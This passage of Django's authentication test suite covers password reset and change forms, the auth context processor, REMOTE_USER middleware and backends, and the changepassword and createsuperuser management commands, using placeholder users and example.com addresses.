        self.assertIn('$', form.cleaned_data['password'])

    def test_bug_19349_bound_password_field(self):
        user = User.objects.get(username='testclient')
        form = UserChangeForm(data={}, instance=user)
        # When rendering the bound password field,
        # ReadOnlyPasswordHashWidget needs the initial
        # value to render correctly
        self.assertEqual(form.initial['password'], form['password'].value())

    def test_custom_form(self):
        class CustomUserChangeForm(UserChangeForm):
            class Meta(UserChangeForm.Meta):
                model = ExtensionUser
                fields = ('username', 'password', 'date_of_birth',)

        user = User.objects.get(username='testclient')
        data = {
            'username': 'testclient',
            'password': 'testclient',
            'date_of_birth': '1998-02-24',
        }
        form = CustomUserChangeForm(data, instance=user)
        self.assertTrue(form.is_valid())
        form.save()
        self.assertEqual(form.cleaned_data['username'], 'testclient')
        self.assertEqual(form.cleaned_data['date_of_birth'], datetime.date(1998, 2, 24))


@override_settings(TEMPLATES=AUTH_TEMPLATES)
class PasswordResetFormTest(TestDataMixin, TestCase):

    @classmethod
    def setUpClass(cls):
        super(PasswordResetFormTest, cls).setUpClass()
        # This cleanup is necessary because contrib.sites cache
        # makes tests interfere with each other, see #11505
        Site.objects.clear_cache()

    def create_dummy_user(self):
        """
        Create a user and return a tuple (user_object, username, email).
        """
        username = 'jsmith'
        email = 'jsmith@example.com'
        user = User.objects.create_user(username, email, 'test123')
        return (user, username, email)

    def test_invalid_email(self):
        data = {'email': 'not valid'}
        form = PasswordResetForm(data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form['email'].errors, [_('Enter a valid email address.')])

    def test_nonexistent_email(self):
        """
        Test nonexistent email address. This should not fail because it would
        expose information about registered users.
        """
        data = {'email': 'foo@bar.com'}
        form = PasswordResetForm(data)
        self.assertTrue(form.is_valid())
        self.assertEqual(len(mail.outbox), 0)

    def test_cleaned_data(self):
        (user, username, email) = self.create_dummy_user()
        data = {'email': email}
        form = PasswordResetForm(data)
        self.assertTrue(form.is_valid())
        form.save(domain_override='example.com')
        self.assertEqual(form.cleaned_data['email'], email)
        self.assertEqual(len(mail.outbox), 1)

    def test_custom_email_subject(self):
        data = {'email': 'testclient@example.com'}
        form = PasswordResetForm(data)
        self.assertTrue(form.is_valid())
        # Since we're not providing a request object, we must provide a
        # domain_override to prevent the save operation from failing in the
        # potential case where contrib.sites is not installed. Refs #16412.
        form.save(domain_override='example.com')
        self.assertEqual(len(mail.outbox), 1)
        self.assertEqual(mail.outbox[0].subject, 'Custom password reset on example.com')

    def test_custom_email_constructor(self):
        data = {'email': 'testclient@example.com'}

        class CustomEmailPasswordResetForm(PasswordResetForm):
            def send_mail(self, subject_template_name, email_template_name,
                          context, from_email, to_email,
                          html_email_template_name=None):
                EmailMultiAlternatives(
                    "Forgot your password?",
                    "Sorry to hear you forgot your password.",
                    None, [to_email],
                    ['site_monitor@example.com'],
                    headers={'Reply-To': 'webmaster@example.com'},
                    alternatives=[
                        ("Really sorry to hear you forgot your password.", "text/html")
                    ],
                ).send()

        form = CustomEmailPasswordResetForm(data)
        self.assertTrue(form.is_valid())
        # Since we're not providing a request object, we must provide a
        # domain_override to prevent the save operation from failing in the
        # potential case where contrib.sites is not installed. Refs #16412.
        form.save(domain_override='example.com')
        self.assertEqual(len(mail.outbox), 1)
        self.assertEqual(mail.outbox[0].subject, 'Forgot your password?')
        self.assertEqual(mail.outbox[0].bcc, ['site_monitor@example.com'])
        self.assertEqual(mail.outbox[0].content_subtype, "plain")

    def test_preserve_username_case(self):
        """
        Preserve the case of the user name (before the @ in the email address)
        when creating a user (#5605).
        """
        user = User.objects.create_user('forms_test2', 'tesT@EXAMple.com', 'test')
        self.assertEqual(user.email, 'tesT@example.com')
        user = User.objects.create_user('forms_test3', 'tesT', 'test')
        self.assertEqual(user.email, 'tesT')

    def test_inactive_user(self):
        """
        Test that inactive user cannot receive password reset email.
        """
        (user, username, email) = self.create_dummy_user()
        user.is_active = False
        user.save()
        form = PasswordResetForm({'email': email})
        self.assertTrue(form.is_valid())
        form.save()
        self.assertEqual(len(mail.outbox), 0)

    def test_unusable_password(self):
        user = User.objects.create_user('testuser', 'test@example.com', 'test')
        data = {"email": "test@example.com"}
        form = PasswordResetForm(data)
        self.assertTrue(form.is_valid())
        user.set_unusable_password()
        user.save()
        form = PasswordResetForm(data)
        # The form itself is valid, but no email is sent
        self.assertTrue(form.is_valid())
        form.save()
        self.assertEqual(len(mail.outbox), 0)

    def test_save_plaintext_email(self):
        """
        Test the PasswordResetForm.save() method with no html_email_template_name
        parameter passed in.
        Test to ensure original behavior is unchanged after the parameter was added.
        """
        (user, username, email) = self.create_dummy_user()
        form = PasswordResetForm({"email": email})
        self.assertTrue(form.is_valid())
        form.save()
        self.assertEqual(len(mail.outbox), 1)
        message = mail.outbox[0].message()
        self.assertFalse(message.is_multipart())
        self.assertEqual(message.get_content_type(), 'text/plain')
        self.assertEqual(message.get('subject'), 'Custom password reset on example.com')
        self.assertEqual(len(mail.outbox[0].alternatives), 0)
        self.assertEqual(message.get_all('to'), [email])
        self.assertTrue(re.match(r'^http://example.com/reset/[\w+/-]', message.get_payload()))

    def test_save_html_email_template_name(self):
        """
        Test the PasswordResetFOrm.save() method with html_email_template_name
        parameter specified.
        Test to ensure that a multipart email is sent with both text/plain
        and text/html parts.
        """
        (user, username, email) = self.create_dummy_user()
        form = PasswordResetForm({"email": email})
        self.assertTrue(form.is_valid())
        form.save(html_email_template_name='registration/html_password_reset_email.html')
        self.assertEqual(len(mail.outbox), 1)
        self.assertEqual(len(mail.outbox[0].alternatives), 1)
        message = mail.outbox[0].message()
        self.assertEqual(message.get('subject'), 'Custom password reset on example.com')
        self.assertEqual(len(message.get_payload()), 2)
        self.assertTrue(message.is_multipart())
        self.assertEqual(message.get_payload(0).get_content_type(), 'text/plain')
        self.assertEqual(message.get_payload(1).get_content_type(), 'text/html')
        self.assertEqual(message.get_all('to'), [email])
        self.assertTrue(re.match(r'^http://example.com/reset/[\w/-]+', message.get_payload(0).get_payload()))
        self.assertTrue(re.match(
            r'^<html><a href="http://example.com/reset/[\w/-]+/">Link</a></html>$',
            message.get_payload(1).get_payload()
        ))


class ReadOnlyPasswordHashTest(SimpleTestCase):

    def test_bug_19349_render_with_none_value(self):
        # Rendering the widget with value set to None
        # mustn't raise an exception.
        widget = ReadOnlyPasswordHashWidget()
        html = widget.render(name='password', value=None, attrs={})
        self.assertIn(_("No password set."), html)

    def test_readonly_field_has_changed(self):
        field = ReadOnlyPasswordHashField()
        self.assertFalse(field.has_changed('aaa', 'bbb'))


class AdminPasswordChangeFormTest(TestDataMixin, TestCase):

    @mock.patch('django.contrib.auth.password_validation.password_changed')
    def test_success(self, password_changed):
        user = User.objects.get(username='testclient')
        data = {
            'password1': 'test123',
            'password2': 'test123',
        }
        form = AdminPasswordChangeForm(user, data)
        self.assertTrue(form.is_valid())
        form.save(commit=False)
        self.assertEqual(password_changed.call_count, 0)
        form.save()
        self.assertEqual(password_changed.call_count, 1)

    def test_password_whitespace_not_stripped(self):
        user = User.objects.get(username='testclient')
        data = {
            'password1': ' pass ',
            'password2': ' pass ',
        }
        form = AdminPasswordChangeForm(user, data)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['password1'], data['password1'])
        self.assertEqual(form.cleaned_data['password2'], data['password2'])






# For testing that auth backends can be referenced using a convenience import
from .test_auth_backends import ImportedModelBackend

__all__ = ['ImportedModelBackend']






from django.contrib.auth import authenticate
from django.contrib.auth.context_processors import PermLookupDict, PermWrapper
from django.contrib.auth.models import Permission, User
from django.contrib.contenttypes.models import ContentType
from django.db.models import Q
from django.test import SimpleTestCase, TestCase, override_settings
from django.test.utils import ignore_warnings
from django.utils.deprecation import RemovedInDjango20Warning

from .settings import AUTH_MIDDLEWARE, AUTH_TEMPLATES


class MockUser(object):
    def has_module_perms(self, perm):
        if perm == 'mockapp':
            return True
        return False

    def has_perm(self, perm):
        if perm == 'mockapp.someperm':
            return True
        return False


class PermWrapperTests(SimpleTestCase):
    """
    Test some details of the PermWrapper implementation.
    """
    class EQLimiterObject(object):
        """
        This object makes sure __eq__ will not be called endlessly.
        """
        def __init__(self):
            self.eq_calls = 0

        def __eq__(self, other):
            if self.eq_calls > 0:
                return True
            self.eq_calls += 1
            return False

    def test_permwrapper_in(self):
        """
        Test that 'something' in PermWrapper works as expected.
        """
        perms = PermWrapper(MockUser())
        # Works for modules and full permissions.
        self.assertIn('mockapp', perms)
        self.assertNotIn('nonexisting', perms)
        self.assertIn('mockapp.someperm', perms)
        self.assertNotIn('mockapp.nonexisting', perms)

    def test_permlookupdict_in(self):
        """
        No endless loops if accessed with 'in' - refs #18979.
        """
        pldict = PermLookupDict(MockUser(), 'mockapp')
        with self.assertRaises(TypeError):
            self.EQLimiterObject() in pldict


@override_settings(ROOT_URLCONF='auth_tests.urls', TEMPLATES=AUTH_TEMPLATES)
class AuthContextProcessorTests(TestCase):
    """
    Tests for the ``django.contrib.auth.context_processors.auth`` processor
    """

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    @override_settings(MIDDLEWARE=AUTH_MIDDLEWARE)
    def test_session_not_accessed(self):
        """
        Tests that the session is not accessed simply by including
        the auth context processor
        """
        response = self.client.get('/auth_processor_no_attr_access/')
        self.assertContains(response, "Session not accessed")

    @ignore_warnings(category=RemovedInDjango20Warning)
    @override_settings(MIDDLEWARE_CLASSES=AUTH_MIDDLEWARE, MIDDLEWARE=None)
    def test_session_not_accessed_middleware_classes(self):
        response = self.client.get('/auth_processor_no_attr_access/')
        self.assertContains(response, "Session not accessed")

    @override_settings(MIDDLEWARE=AUTH_MIDDLEWARE)
    def test_session_is_accessed(self):
        """
        Tests that the session is accessed if the auth context processor
        is used and relevant attributes accessed.
        """
        response = self.client.get('/auth_processor_attr_access/')
        self.assertContains(response, "Session accessed")

    @ignore_warnings(category=RemovedInDjango20Warning)
    @override_settings(MIDDLEWARE_CLASSES=AUTH_MIDDLEWARE, MIDDLEWARE=None)
    def test_session_is_accessed_middleware_classes(self):
        response = self.client.get('/auth_processor_attr_access/')
        self.assertContains(response, "Session accessed")

    def test_perms_attrs(self):
        u = User.objects.create_user(username='normal', password='secret')
        u.user_permissions.add(
            Permission.objects.get(
                content_type=ContentType.objects.get_for_model(Permission),
                codename='add_permission'))
        self.client.force_login(u)
        response = self.client.get('/auth_processor_perms/')
        self.assertContains(response, "Has auth permissions")
        self.assertContains(response, "Has auth.add_permission permissions")
        self.assertNotContains(response, "nonexisting")

    def test_perm_in_perms_attrs(self):
        u = User.objects.create_user(username='normal', password='secret')
        u.user_permissions.add(
            Permission.objects.get(
                content_type=ContentType.objects.get_for_model(Permission),
                codename='add_permission'))
        self.client.login(username='normal', password='secret')
        response = self.client.get('/auth_processor_perm_in_perms/')
        self.assertContains(response, "Has auth permissions")
        self.assertContains(response, "Has auth.add_permission permissions")
        self.assertNotContains(response, "nonexisting")

    def test_message_attrs(self):
        self.client.force_login(self.superuser)
        response = self.client.get('/auth_processor_messages/')
        self.assertContains(response, "Message 1")

    def test_user_attrs(self):
        """
        Test that the lazy objects returned behave just like the wrapped objects.
        """
        # These are 'functional' level tests for common use cases.  Direct
        # testing of the implementation (SimpleLazyObject) is in the 'utils'
        # tests.
        self.client.login(username='super', password='secret')
        user = authenticate(username='super', password='secret')
        response = self.client.get('/auth_processor_user/')
        self.assertContains(response, "unicode: super")
        self.assertContains(response, "id: %d" % self.superuser.pk)
        self.assertContains(response, "username: super")
        # bug #12037 is tested by the {% url %} in the template:
        self.assertContains(response, "url: /userpage/super/")

        # See if this object can be used for queries where a Q() comparing
        # a user can be used with another Q() (in an AND or OR fashion).
        # This simulates what a template tag might do with the user from the
        # context. Note that we don't need to execute a query, just build it.
        #
        # The failure case (bug #12049) on Python 2.4 with a LazyObject-wrapped
        # User is a fatal TypeError: "function() takes at least 2 arguments
        # (0 given)" deep inside deepcopy().
        #
        # Python 2.5 and 2.6 succeeded, but logged internally caught exception
        # spew:
        #
        #    Exception RuntimeError: 'maximum recursion depth exceeded while
        #    calling a Python object' in <type 'exceptions.AttributeError'>
        #    ignored"
        Q(user=response.context['user']) & Q(someflag=True)

        # Tests for user equality.  This is hard because User defines
        # equality in a non-duck-typing way
        # See bug #12060
        self.assertEqual(response.context['user'], user)
        self.assertEqual(user, response.context['user'])






from datetime import datetime

from django.conf import settings
from django.contrib.auth import authenticate
from django.contrib.auth.backends import RemoteUserBackend
from django.contrib.auth.middleware import RemoteUserMiddleware
from django.contrib.auth.models import User
from django.test import TestCase, modify_settings, override_settings
from django.test.utils import ignore_warnings
from django.utils import timezone
from django.utils.deprecation import RemovedInDjango20Warning


@override_settings(ROOT_URLCONF='auth_tests.urls')
class RemoteUserTest(TestCase):

    middleware = 'django.contrib.auth.middleware.RemoteUserMiddleware'
    backend = 'django.contrib.auth.backends.RemoteUserBackend'
    header = 'REMOTE_USER'

    # Usernames to be passed in REMOTE_USER for the test_known_user test case.
    known_user = 'knownuser'
    known_user2 = 'knownuser2'

    def setUp(self):
        self.patched_settings = modify_settings(
            AUTHENTICATION_BACKENDS={'append': self.backend},
            MIDDLEWARE={'append': self.middleware},
        )
        self.patched_settings.enable()

    def tearDown(self):
        self.patched_settings.disable()

    def test_no_remote_user(self):
        """
        Tests requests where no remote user is specified and insures that no
        users get created.
        """
        num_users = User.objects.count()

        response = self.client.get('/remote_user/')
        self.assertTrue(response.context['user'].is_anonymous)
        self.assertEqual(User.objects.count(), num_users)

        response = self.client.get('/remote_user/', **{self.header: None})
        self.assertTrue(response.context['user'].is_anonymous)
        self.assertEqual(User.objects.count(), num_users)

        response = self.client.get('/remote_user/', **{self.header: ''})
        self.assertTrue(response.context['user'].is_anonymous)
        self.assertEqual(User.objects.count(), num_users)

    def test_unknown_user(self):
        """
        Tests the case where the username passed in the header does not exist
        as a User.
        """
        num_users = User.objects.count()
        response = self.client.get('/remote_user/', **{self.header: 'newuser'})
        self.assertEqual(response.context['user'].username, 'newuser')
        self.assertEqual(User.objects.count(), num_users + 1)
        User.objects.get(username='newuser')

        # Another request with same user should not create any new users.
        response = self.client.get('/remote_user/', **{self.header: 'newuser'})
        self.assertEqual(User.objects.count(), num_users + 1)

    def test_known_user(self):
        """
        Tests the case where the username passed in the header is a valid User.
        """
        User.objects.create(username='knownuser')
        User.objects.create(username='knownuser2')
        num_users = User.objects.count()
        response = self.client.get('/remote_user/',
                                   **{self.header: self.known_user})
        self.assertEqual(response.context['user'].username, 'knownuser')
        self.assertEqual(User.objects.count(), num_users)
        # Test that a different user passed in the headers causes the new user
        # to be logged in.
        response = self.client.get('/remote_user/',
                                   **{self.header: self.known_user2})
        self.assertEqual(response.context['user'].username, 'knownuser2')
        self.assertEqual(User.objects.count(), num_users)

    def test_last_login(self):
        """
        Tests that a user's last_login is set the first time they make a
        request but not updated in subsequent requests with the same session.
        """
        user = User.objects.create(username='knownuser')
        # Set last_login to something so we can determine if it changes.
        default_login = datetime(2000, 1, 1)
        if settings.USE_TZ:
            default_login = default_login.replace(tzinfo=timezone.utc)
        user.last_login = default_login
        user.save()

        response = self.client.get('/remote_user/',
                                   **{self.header: self.known_user})
        self.assertNotEqual(default_login, response.context['user'].last_login)

        user = User.objects.get(username='knownuser')
        user.last_login = default_login
        user.save()
        response = self.client.get('/remote_user/',
                                   **{self.header: self.known_user})
        self.assertEqual(default_login, response.context['user'].last_login)

    def test_header_disappears(self):
        """
        Tests that a logged in user is logged out automatically when
        the REMOTE_USER header disappears during the same browser session.
        """
        User.objects.create(username='knownuser')
        # Known user authenticates
        response = self.client.get('/remote_user/',
                                   **{self.header: self.known_user})
        self.assertEqual(response.context['user'].username, 'knownuser')
        # During the session, the REMOTE_USER header disappears. Should trigger logout.
        response = self.client.get('/remote_user/')
        self.assertTrue(response.context['user'].is_anonymous)
        # verify the remoteuser middleware will not remove a user
        # authenticated via another backend
        User.objects.create_user(username='modeluser', password='foo')
        self.client.login(username='modeluser', password='foo')
        authenticate(username='modeluser', password='foo')
        response = self.client.get('/remote_user/')
        self.assertEqual(response.context['user'].username, 'modeluser')

    def test_user_switch_forces_new_login(self):
        """
        Tests that if the username in the header changes between requests
        that the original user is logged out
        """
        User.objects.create(username='knownuser')
        # Known user authenticates
        response = self.client.get('/remote_user/',
                                   **{self.header: self.known_user})
        self.assertEqual(response.context['user'].username, 'knownuser')
        # During the session, the REMOTE_USER changes to a different user.
        response = self.client.get('/remote_user/',
                                   **{self.header: "newnewuser"})
        # Ensure that the current user is not the prior remote_user
        # In backends that create a new user, username is "newnewuser"
        # In backends that do not create new users, it is '' (anonymous user)
        self.assertNotEqual(response.context['user'].username, 'knownuser')

    def test_inactive_user(self):
        User.objects.create(username='knownuser', is_active=False)
        response = self.client.get('/remote_user/', **{self.header: 'knownuser'})
        self.assertTrue(response.context['user'].is_anonymous)


@ignore_warnings(category=RemovedInDjango20Warning)
@override_settings(MIDDLEWARE=None)
class RemoteUserTestMiddlewareClasses(RemoteUserTest):

    def setUp(self):
        self.patched_settings = modify_settings(
            AUTHENTICATION_BACKENDS={'append': self.backend},
            MIDDLEWARE_CLASSES={'append': [
                'django.contrib.sessions.middleware.SessionMiddleware',
                'django.contrib.auth.middleware.AuthenticationMiddleware',
                self.middleware,
            ]},
        )
        self.patched_settings.enable()


class RemoteUserNoCreateBackend(RemoteUserBackend):
    """Backend that doesn't create unknown users."""
    create_unknown_user = False


class RemoteUserNoCreateTest(RemoteUserTest):
    """
    Contains the same tests as RemoteUserTest, but using a custom auth backend
    class that doesn't create unknown users.
    """

    backend = 'auth_tests.test_remote_user.RemoteUserNoCreateBackend'

    def test_unknown_user(self):
        num_users = User.objects.count()
        response = self.client.get('/remote_user/', **{self.header: 'newuser'})
        self.assertTrue(response.context['user'].is_anonymous)
        self.assertEqual(User.objects.count(), num_users)


class AllowAllUsersRemoteUserBackendTest(RemoteUserTest):
    """Backend that allows inactive users."""
    backend = 'django.contrib.auth.backends.AllowAllUsersRemoteUserBackend'

    def test_inactive_user(self):
        user = User.objects.create(username='knownuser', is_active=False)
        response = self.client.get('/remote_user/', **{self.header: self.known_user})
        self.assertEqual(response.context['user'].username, user.username)


class CustomRemoteUserBackend(RemoteUserBackend):
    """
    Backend that overrides RemoteUserBackend methods.
    """

    def clean_username(self, username):
        """
        Grabs username before the @ character.
        """
        return username.split('@')[0]

    def configure_user(self, user):
        """
        Sets user's email address.
        """
        user.email = 'user@example.com'
        user.save()
        return user


class RemoteUserCustomTest(RemoteUserTest):
    """
    Tests a custom RemoteUserBackend subclass that overrides the clean_username
    and configure_user methods.
    """

    backend = 'auth_tests.test_remote_user.CustomRemoteUserBackend'
    # REMOTE_USER strings with email addresses for the custom backend to
    # clean.
    known_user = 'knownuser@example.com'
    known_user2 = 'knownuser2@example.com'

    def test_known_user(self):
        """
        The strings passed in REMOTE_USER should be cleaned and the known users
        should not have been configured with an email address.
        """
        super(RemoteUserCustomTest, self).test_known_user()
        self.assertEqual(User.objects.get(username='knownuser').email, '')
        self.assertEqual(User.objects.get(username='knownuser2').email, '')

    def test_unknown_user(self):
        """
        The unknown user created should be configured with an email address.
        """
        super(RemoteUserCustomTest, self).test_unknown_user()
        newuser = User.objects.get(username='newuser')
        self.assertEqual(newuser.email, 'user@example.com')


class CustomHeaderMiddleware(RemoteUserMiddleware):
    """
    Middleware that overrides custom HTTP auth user header.
    """
    header = 'HTTP_AUTHUSER'


class CustomHeaderRemoteUserTest(RemoteUserTest):
    """
    Tests a custom RemoteUserMiddleware subclass with custom HTTP auth user
    header.
    """
    middleware = (
        'auth_tests.test_remote_user.CustomHeaderMiddleware'
    )
    header = 'HTTP_AUTHUSER'


class PersistentRemoteUserTest(RemoteUserTest):
    """
    PersistentRemoteUserMiddleware keeps the user logged in even if the
    subsequent calls do not contain the header value.
    """
    middleware = 'django.contrib.auth.middleware.PersistentRemoteUserMiddleware'
    require_header = False

    def test_header_disappears(self):
        """
        A logged in user is kept logged in even if the REMOTE_USER header
        disappears during the same browser session.
        """
        User.objects.create(username='knownuser')
        # Known user authenticates
        response = self.client.get('/remote_user/', **{self.header: self.known_user})
        self.assertEqual(response.context['user'].username, 'knownuser')
        # Should stay logged in if the REMOTE_USER header disappears.
        response = self.client.get('/remote_user/')
        self.assertFalse(response.context['user'].is_anonymous)
        self.assertEqual(response.context['user'].username, 'knownuser')






from __future__ import unicode_literals

import sys
from datetime import date

from django.apps import apps
from django.contrib.auth import management
from django.contrib.auth.management import create_permissions
from django.contrib.auth.management.commands import (
    changepassword, createsuperuser,
)
from django.contrib.auth.models import Group, Permission, User
from django.contrib.contenttypes.models import ContentType
from django.core.management import call_command
from django.core.management.base import CommandError
from django.db import migrations
from django.test import TestCase, mock, override_settings
from django.utils import six
from django.utils.encoding import force_str
from django.utils.translation import ugettext_lazy as _

from .models import (
    CustomUser, CustomUserNonUniqueUsername, CustomUserWithFK, Email,
)


def mock_inputs(inputs):
    """
    Decorator to temporarily replace input/getpass to allow interactive
    createsuperuser.
    """
    def inner(test_func):
        def wrapped(*args):
            class mock_getpass:
                @staticmethod
                def getpass(prompt=b'Password: ', stream=None):
                    if six.PY2:
                        # getpass on Windows only supports prompt as bytestring (#19807)
                        assert isinstance(prompt, six.binary_type)
                    if callable(inputs['password']):
                        return inputs['password']()
                    return inputs['password']

            def mock_input(prompt):
                # prompt should be encoded in Python 2. This line will raise an
                # Exception if prompt contains unencoded non-ASCII on Python 2.
                prompt = str(prompt)
                assert str('__proxy__') not in prompt
                response = ''
                for key, val in inputs.items():
                    if force_str(key) in prompt.lower():
                        response = val
                        break
                return response

            old_getpass = createsuperuser.getpass
            old_input = createsuperuser.input
            createsuperuser.getpass = mock_getpass
            createsuperuser.input = mock_input
            try:
                test_func(*args)
            finally:
                createsuperuser.getpass = old_getpass
                createsuperuser.input = old_input
        return wrapped
    return inner


class MockTTY(object):
    """
    A fake stdin object that pretends to be a TTY to be used in conjunction
    with mock_inputs.
    """
    def isatty(self):
        return True


class GetDefaultUsernameTestCase(TestCase):

    def setUp(self):
        self.old_get_system_username = management.get_system_username

    def tearDown(self):
        management.get_system_username = self.old_get_system_username

    def test_actual_implementation(self):
        self.assertIsInstance(management.get_system_username(), six.text_type)

    def test_simple(self):
        management.get_system_username = lambda: 'joe'
        self.assertEqual(management.get_default_username(), 'joe')

    def test_existing(self):
        User.objects.create(username='joe')
        management.get_system_username = lambda: 'joe'
        self.assertEqual(management.get_default_username(), '')
        self.assertEqual(
            management.get_default_username(check_db=False), 'joe')

    def test_i18n(self):
        # 'Julia' with accented 'u':
        management.get_system_username = lambda: 'J\xfalia'
        self.assertEqual(management.get_default_username(), 'julia')


@override_settings(AUTH_PASSWORD_VALIDATORS=[
    {'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator'},
])
class ChangepasswordManagementCommandTestCase(TestCase):

    def setUp(self):
        self.user = User.objects.create_user(username='joe', password='qwerty')
        self.stdout = six.StringIO()
        self.stderr = six.StringIO()

    def tearDown(self):
        self.stdout.close()
        self.stderr.close()

    @mock.patch.object(changepassword.Command, '_get_pass', return_value='not qwerty')
    def test_that_changepassword_command_changes_joes_password(self, mock_get_pass):
        "Executing the changepassword management command should change joe's password"
        self.assertTrue(self.user.check_password('qwerty'))

        call_command('changepassword', username='joe', stdout=self.stdout)
        command_output = self.stdout.getvalue().strip()

        self.assertEqual(
            command_output,
            "Changing password for user 'joe'\nPassword changed successfully for user 'joe'"
        )
        self.assertTrue(User.objects.get(username="joe").check_password("not qwerty"))

    @mock.patch.object(changepassword.Command, '_get_pass', side_effect=lambda *args: str(args))
    def test_that_max_tries_exits_1(self, mock_get_pass):
        """
        A CommandError should be thrown by handle() if the user enters in
        mismatched passwords three times.
        """
        with self.assertRaises(CommandError):
            call_command('changepassword', username='joe', stdout=self.stdout, stderr=self.stderr)

    @mock.patch.object(changepassword.Command, '_get_pass', return_value='1234567890')
    def test_password_validation(self, mock_get_pass):
        """
        A CommandError should be raised if the user enters in passwords which
        fail validation three times.
        """
        abort_msg = "Aborting password change for user 'joe' after 3 attempts"
        with self.assertRaisesMessage(CommandError, abort_msg):
            call_command('changepassword', username='joe', stdout=self.stdout, stderr=self.stderr)
        self.assertIn('This password is entirely numeric.', self.stderr.getvalue())

    @mock.patch.object(changepassword.Command, '_get_pass', return_value='not qwerty')
    def test_that_changepassword_command_works_with_nonascii_output(self, mock_get_pass):
        """
        #21627 -- Executing the changepassword management command should allow
        non-ASCII characters from the User object representation.
        """
        # 'Julia' with accented 'u':
        User.objects.create_user(username='J\xfalia', password='qwerty')
        call_command('changepassword', username='J\xfalia', stdout=self.stdout)


class MultiDBChangepasswordManagementCommandTestCase(TestCase):
    multi_db = True

    @mock.patch.object(changepassword.Command, '_get_pass', return_value='not qwerty')
    def test_that_changepassword_command_with_database_option_uses_given_db(self, mock_get_pass):
        """
        changepassword --database should operate on the specified DB.
        """
        user = User.objects.db_manager('other').create_user(username='joe', password='qwerty')
        self.assertTrue(user.check_password('qwerty'))

        out = six.StringIO()
        call_command('changepassword', username='joe', database='other', stdout=out)
        command_output = out.getvalue().strip()

        self.assertEqual(
            command_output,
            "Changing password for user 'joe'\nPassword changed successfully for user 'joe'"
        )
        self.assertTrue(User.objects.using('other').get(username="joe").check_password('not qwerty'))


@override_settings(
    SILENCED_SYSTEM_CHECKS=['fields.W342'],  # ForeignKey(unique=True)
    AUTH_PASSWORD_VALIDATORS=[{'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator'}],
)
class CreatesuperuserManagementCommandTestCase(TestCase):

    def test_basic_usage(self):
        "Check the operation of the createsuperuser management command"
        # We can use the management command to create a superuser
        new_io = six.StringIO()
        call_command(
            "createsuperuser",
            interactive=False,
            username="joe",
            email="joe@somewhere.org",
            stdout=new_io
        )
        command_output = new_io.getvalue().strip()
        self.assertEqual(command_output, 'Superuser created successfully.')
        u = User.objects.get(username="joe")
        self.assertEqual(u.email, 'joe@somewhere.org')

        # created password should be unusable
        self.assertFalse(u.has_usable_password())

    @mock_inputs({
        'password': "nopasswd",
        'u\u017eivatel': 'foo',  # username (cz)
        'email': 'nolocale@somewhere.org'})
    def test_non_ascii_verbose_name(self):
        username_field = User._meta.get_field('username')
        old_verbose_name = username_field.verbose_name
        username_field.verbose_name = _('u\u017eivatel')
        new_io = six.StringIO()
        try:
            call_command(
                "createsuperuser",
                interactive=True,
                stdout=new_io,
                stdin=MockTTY(),
            )
        finally:
            username_field.verbose_name = old_verbose_name

        command_output = new_io.getvalue().strip()
        self.assertEqual(command_output, 'Superuser created successfully.')

    def test_verbosity_zero(self):
        # We can suppress output on the management command
        new_io = six.StringIO()
        call_command(
            "createsuperuser",
            interactive=False,
            username="joe2",
            email="joe2@somewhere.org",
            verbosity=0,
            stdout=new_io
        )
        command_output = new_io.getvalue().strip()
        self.assertEqual(command_output, '')
        u = User.objects.get(username="joe2")
        self.assertEqual(u.email, 'joe2@somewhere.org')
        self.assertFalse(u.has_usable_password())

    def test_email_in_username(self):
        new_io = six.StringIO()
        call_command(
            "createsuperuser",
            interactive=False,
            username="joe+admin@somewhere.org",
            email="joe@somewhere.org",
            stdout=new_io
        )
        u = User._default_manager.get(username="joe+admin@somewhere.org")
        self.assertEqual(u.email, 'joe@somewhere.org')
        self.assertFalse(u.has_usable_password())

    @override_settings(AUTH_USER_MODEL='auth_tests.CustomUser')
    def test_swappable_user(self):
        "A superuser can be created when a custom User model is in use"
        # We can use the management command to create a superuser
        # We skip validation because the temporary substitution of the
        # swappable User model messes with validation.
        new_io = six.StringIO()
        call_command(
            "createsuperuser",
            interactive=False,
            email="joe@somewhere.org",
            date_of_birth="1976-04-01",
            stdout=new_io,
        )
        command_output = new_io.getvalue().strip()
        self.assertEqual(command_output, 'Superuser created successfully.')
        u = CustomUser._default_manager.get(email="joe@somewhere.org")
        self.assertEqual(u.date_of_birth, date(1976, 4, 1))

        # created password should be unusable
        self.assertFalse(u.has_usable_password())

    @override_settings(AUTH_USER_MODEL='auth_tests.CustomUser')
    def test_swappable_user_missing_required_field(self):
        "A Custom superuser won't be created when a required field isn't provided"
        # We can use the management command to create a superuser
        # We skip validation because the temporary substitution of the
        # swappable User model messes with validation.
        new_io = six.StringIO()
        with self.assertRaises(CommandError):
            call_command(
                "createsuperuser",
                interactive=False,
                username="joe@somewhere.org",
                stdout=new_io,
                stderr=new_io,
            )

        self.assertEqual(CustomUser._default_manager.count(), 0)

    @override_settings(
        AUTH_USER_MODEL='auth_tests.CustomUserNonUniqueUsername',
        AUTHENTICATION_BACKENDS=['my.custom.backend'],
    )
    def test_swappable_user_username_non_unique(self):
        @mock_inputs({
            'username': 'joe',
            'password': 'nopasswd',
        })
        def createsuperuser():
            new_io = six.StringIO()
            call_command(
                "createsuperuser",
                interactive=True,
                email="joe@somewhere.org",
                stdout=new_io,
                stdin=MockTTY(),
            )
            command_output = new_io.getvalue().strip()
            self.assertEqual(command_output, 'Superuser created successfully.')

        for i in range(2):
            createsuperuser()

        users = CustomUserNonUniqueUsername.objects.filter(username="joe")
        self.assertEqual(users.count(), 2)

    def test_skip_if_not_in_TTY(self):
        """
        If the command is not called from a TTY, it should be skipped and a
        message should be displayed (#7423).
        """
        class FakeStdin(object):
            """A fake stdin object that has isatty() return False."""
            def isatty(self):
                return False

        out = six.StringIO()
        call_command(
            "createsuperuser",
            stdin=FakeStdin(),
            stdout=out,
            interactive=True,
        )

        self.assertEqual(User._default_manager.count(), 0)
        self.assertIn("Superuser creation skipped", out.getvalue())

    def test_passing_stdin(self):
        """
        You can pass a stdin object as an option and it should be
        available on self.stdin.
        If no such option is passed, it defaults to sys.stdin.
        """
        sentinel = object()
        command = createsuperuser.Command()
        call_command(
            command,
            stdin=sentinel,
            stdout=six.StringIO(),
